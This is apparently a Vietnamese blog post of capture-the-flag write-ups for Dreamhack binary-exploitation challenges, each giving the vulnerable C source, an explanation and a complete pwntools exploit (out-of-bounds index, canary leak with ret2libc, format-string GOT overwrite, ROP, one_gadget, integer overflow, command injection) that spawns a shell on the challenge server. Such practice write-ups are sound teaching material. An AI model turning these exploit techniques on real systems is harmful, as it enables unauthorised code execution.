1841 words
9 minutes
Dreamhack (P2)
Out-of-boundary
Source code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}- Bài cho ta nhập vào biến
namemột chuỗi 16 bit và sau đó là nhập vào một số nguyên vàoidx, cuối cùng là gọi lệnhsystem(command[idx]) - Ta thấy trong
commandcó 5 lệnh"cat", "ls", "id", "ps", "file ./oob" - Nhưng các lệnh này không giúp ích gì cho ta vì ta cần là
cat flag - Theo tìm hiểu thì bài này thuộc dạng
ooblà ta cố gắng truy cập phần tử ngoài phạm vi của mảng - Ta tìm cách đưa
cat flagvào và gọisystem(command[idx])đến đó - Ta đưa
cat flagvào biếnname - Debug để xem đưa vào đâu trong bộ nhớ

- Dữ liệu sẽ đưa vào địa chỉ
0x804a0aclà địa chỉ củaname - Tìm địa chỉ của
commandvà tính ofset để tìmidxcần để gọi đếncat flag
0x804a060 - 0x804a0ac = 76
- Vì là kiến trúc 32 bit nên mỗi con trỏ là 4 byte nên ta chia 4 đề tìm được chỉ số
76/4 = 19 - Tiếp theo lần nhập
idxta nhập19 - Nhưng không đúng vì
systemchỉ nhận tham số chỉ làcat
- Ta cần đưa tham số là địa chỉ chứa chuỗi
cat flagđểsystemhoạt động đúng - Nên ta cần đưa địa chỉ chứa
cat flagsau đó mới tới chuỗi nên chuỗi sẽ nằm ở0x804a0ac + 4 = 0x804a0b0
Script
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./out_of_bound',checksec=False)
#p = process(exe.path)
p = remote('host1.dreamhack.games',13638)
payload = p32(0x804a0b0)
payload += b'cat flag'
p.sendafter(b'name: ', payload)
#input()
p.sendlineafter(b'want?: ',b'19')
p.interactive()Return to Library
Source code
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}- Như bài đã gợi ý thì đầu tiên ta cần leak canary vì bài này canary được bật sau đó overwrite để gọi
system(/bin/sh)vì bài này file thực thi đã cho sẵn/bin/shvà cósystem@plt
- Trên
rbpđó chính là giá trị canary, vì giá trị này thay đổi động nên ta cần leak để lần nhập sau đó có thể bypass qua canary - Ta thấy byte cuối của canary luôn bằng 0x00 nên ta có thể leak canary mà không làm thay đổi giá trị bằng cách nhập thêm 1 byte để overwrite vào canary sau để lệnh
prinfsẽ in giá trị canary với byte cuối là giá trị hex của kí tự được chèn vào - Sau khi leak ta cần đổi byte cuối thành
0x00 - Sau đó lần nhập sau ta có thể overwrite địa chỉ trả về để gọi
system(/bin/sh)

Script
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./rtl',checksec=False)
#p = process(exe.path)
p = remote('host1.dreamhack.games', 24332)
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b'A'*57
p.recvuntil(b"Buf: ")
input()
p.send(payload)
p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))
log.info(hex(canary))
binsh = next(exe.search(b'/bin/sh'))
payload = flat(
b'A'*56,
canary,
b'A'*8,
pop_rdi, binsh,
ret,
exe.plt['system']
)
p.recvuntil(b"Buf: ")
p.send(payload)
p.interactive()basic_exploitation_002
Source code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}- Chương trình có lỗi format string ở
printf(buf) - Ta thấy có một hàm
get_shell()gọisystem("/bin/sh")nên mục tiêu là vào hàm này - Ta sẽ dùng format string để ghi đè bảng got của hàm
exit()thành hàmget_shell() - ta xem bảng got

- vì
exit@gotvà hàmget_shellchỉ khác nhau 2 byte cuối nên ta chỉ cần ghi đè 2 byte cuối
get_shell & 0xffff để lấy 2 byte cuối
Script
#!/usr/bin/python3
from pwn import *
exe = ELF('./basic_exploitation_002', checksec = False)
#p = process(exe.path)
p = remote('host1.dreamhack.games', 10966)
get_shell = 0x8048609
payload = p32(exe.got['exit'])
payload += f'%{(get_shell - 4) & 0xffff}c%1$hn'.encode()
input()
p.sendline(payload)
p.interactive()basic_exploitation_003
Source code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}- Chương trình có hàm
get_shell()gọisystem("/bin/sh"), nên mục tiêu là thực thi hàm này để chiếm shell - Chương trình cho nhập vào 0x80 byte vào một vùng nhớ heap
- Sau đó in nội dung vừa nhập vào stack bằng lệnh
sprintf(stack_buf, heap_buf);, lệnh này sẽ in nội dung nhưprintfvàostack_bufnên có lỗi format string - Ta sẽ dùng
%nđể in ra số ký tự vàostack_bufvà ghi đè địa chỉ trả về
stack_bufđược lưu ởebp-0x98nên cần 0x98+4(ebp) = 156 byte để ghi đè địa chỉ trả về
Script
#!/usr/bin/python3
from pwn import *
exe = ELF('./basic_exploitation_003', checksec = False)
#p = process(exe.path)
p = remote('host1.dreamhack.games', 18395)
payload = b"%156c" + p32(exe.symbols['get_shell'])
p.send(payload)
p.interactive()rop
Source code
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}- Bài này tương tự bài Return to Library nhưng không có hàm thực thi để chiếm shell nên ta cần leak libc để thực thi hàm
system("/bin/sh") - Để leak libc ta xem bảng got có những hàm nào để tận dụng

- Ta thấy có hàm
puts, ta dùngputs@pltđể thực thi và leak ra địa chỉ libc củaputs

Script
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF("./rop", checksec = False)
libc = ELF('libc.so.6', checksec = False)
#p = process(exe.path)
p = remote('host1.dreamhack.games', 17656)
pop_rdi = 0x0000000000400853
ret = 0x0000000000400596
payload = b'A'*57
p.sendafter(b'Buf: ',payload)
p.recvuntil(b'A'*57)
canary = u64(b'\x00' + p.recv(7))
log.info(hex(canary))
payload = flat(
b'A'*56,
canary,
b'A'*8,
pop_rdi, exe.got['puts'],
exe.plt['puts'],
exe.sym['_start']
)
input()
p.sendafter(b'Buf: ',payload)
libc_leak = u64(p.recv(6) + b'\x00\x00')
libc.address = libc_leak - libc.sym['puts']
log.info(hex(libc_leak))
log.info(hex(libc.address))
payload = b'A'*56
p.sendafter(b'Buf: ',payload)
payload = flat(
b'A'*56,
canary,
b'A'*8,
pop_rdi, next(libc.search(b'/bin/sh')),
ret,
libc.sym['system'],
)
p.sendafter(b'Buf: ',payload)
p.interactive()oneshot
Source code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}- Checksec

- Cho nhập vào biến
msg46 byte trong khi khai báo có 16 byte nên có lỗi buffer overflow - Có vẻ bài này thực thi
system("/bin/sh)"bằng cách leak libc có vẻ không khả thi - Ta sử dụng một công cụ là
one_gadgetđể tìm địa chỉ của lệnhexecve("/bin/sh")trong file libc
- Sau đó leak libc vì bài cho sẵn địa chỉ của
stdout - Nhưng để chương trình thực thi thành công thì
if(check > 0)là không đúng để không kết thúc chương trình, ta cần gán check = 0, size_t có giá trị là 8 byte
Script
#!/usr/bin/python3
from pwn import *
exe = ELF("./oneshot", checksec = False)
libc = ELF("./libc.so.6", checksec = False)
#p = process(exe.path)
p = remote("host1.dreamhack.games", 16119)
one_gadget = 0x45216
p.recvuntil(b'stdout: ')
stdout = int(p.recvline()[:-1],16)
log.info(hex(stdout))
libc.address = stdout - libc.sym['_IO_2_1_stdout_']
log.info(hex(libc.address))
oneshot = libc.address + one_gadget
payload = b'A'*24
payload += p64(0)
payload += b'A'*8
payload += p64(oneshot)
input()
p.sendline(payload)
p.interactive()sint
Source code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}- Bài cho đọc vào số nguyên
size, nếusize > 256hoặcsize < 0thì thoát chương trình, nếu ngược lại thì nhập vàobufvới kích thướcsize - 1 - Bài này có lỗi interger overflow vì khi ta nhập số 0 vào
sizethì khi đọcsize - 1là-1thì 0xffffffff được nhận dạng là số nguyên không dấu khi đó ta có thể nhập số lượng ký tự không giới hạn
- Stack không được bật cho phép ta overwrite địa chỉ trả về thành hàm get_shell có trong chương trình

Script
#!/usr/bin/python3
from pwn import *
exe = ELF('./sint', checksec = False)
#p = process(exe.path)
p = remote('host1.dreamhack.games', 13235)
payload = b'A'*260
payload += p32(exe.sym['get_shell'])
p.recvuntil(b'Size: ')
p.sendline(b'0')
p.recvuntil(b'Data: ')
p.sendline(payload)
p.interactive()
cmd_center
Source code
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}- Chương trình cho nhập vào 100 byte
center_namenhưng chỉ được khai báo 24 byte nên có lỗi buffer overflow - Sau đó nếu
cmd_ip = ifconfigthì sẽ thực thisystem(cmd_ip) - Để chiếm được shell thì phải thực thi
system("/bin/sh") - Với câu lệnh
system("ifconfig;/bin/sh")vẫn lấy được shell vìsystemsẽ thực thi đượcsystem("ifconfig")sau đó đếnsystem("/bin/sh") - Ta sẽ overwrite để không bị thay đổi cmd_ip lúc đầu và thêm sau đó chuỗi
;/bin/sh - Debug để tìm ofset giữa
cmd_ipvàcenter_name
- Vì hàm
readcócenter_namelà tham số thứ 2 nên ta xemrsiđược lấy từ đâu,rsiđược lấy từ[rbp-0x130]đó là địa chỉ tương đối củacenter_name - Tương tự địa chỉ tương đối của
cmd_iplà[rbp-0x110]ofset = 0x130 - 0x110 = 0x20
Script
#!/usr/bin/python3
from pwn import *
#p = process('./cmd_center')
p = remote('host1.dreamhack.games', 18358)
payload = b'A'*0x20 + b'ifconfig;/bin/sh'
p.sendlineafter(b'Center name: ', payload)
p.interactive()Source code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{
get_shell();
}
else
{
printf("Ok, chance: \n");
read(0, name, 20);
}
return 0;
}- Ta cần đổi
age = 0để có được shell - Chương trình cho nhập vào
name20 byte - Ta gửi 20 byte thì có shell =))
Dreamhack (P2)
https://blog.s4ngxg.site/posts/ctf/dreamhack-p2/